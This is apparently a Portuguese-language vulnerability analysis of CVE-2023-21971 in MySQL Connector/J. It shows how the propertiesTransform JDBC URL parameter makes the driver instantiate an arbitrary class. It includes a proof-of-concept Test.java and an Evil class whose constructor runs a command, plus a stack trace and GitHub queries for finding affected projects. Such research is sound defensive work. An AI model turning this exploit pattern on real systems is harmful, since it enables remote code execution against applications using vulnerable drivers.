
CVE-2023-21971 Connector/J RCE Análise分析
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)
Vulnerabilidade nos produtos MySQL Connectors do Oracle MySQL (componente: Connector/J). As versões suportadas afetadas são 8.0.32 e anteriores. Uma vulnerabilidade de difícil exploração permite que um atacante com altas permissões, acessando a rede por meio de vários protocolos, comprometa o MySQL Connector. Um ataque bem-sucedido requer interação humana de outra pessoa além do atacante. Um ataque bem-sucedido a esta vulnerabilidade pode levar a uma capacidade não autorizada de fazer com que o MySQL Connector pare ou sofra travamentos repetidos frequentes (DOS completo), bem como atualização, inserção ou exclusão não autorizada de acesso a alguns dados acessíveis pelo MySQL Connector e acesso de leitura não autorizado a parte dos dados acessíveis pelo MySQL Connector.
Faixa de impacto:
Pesquise no Github por projetos que dependem do mysql-connector-java.
filename:pom.xml mysql-connector-java
Pesquise no Github para encontrar projetos que dependem de uma versão específica do mysql-connector-java.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
Aqui é claramente possível controlar o propertiesTransformClassName, e durante a chamada de newInstance(), o construtor sem argumentos será automaticamente invocado.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
Claramente é possível criar um Demo de verificação.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
Aqui, baixamos o arquivo Jar diretamente e o importamos como Bibliotecas no projeto IDEA.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
Mas a classe Evil foi criada localmente, e nenhuma das dependências possui uma classe que implemente a interface ConnectionPropertiesTransform. Seria esta uma vulnerabilidade de aproveitamento limitado?
Através de experimentos, descobrimos que, na verdade, a classe Evil não precisa implementar a interface ConnectionPropertiesTransform para executar comandos.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test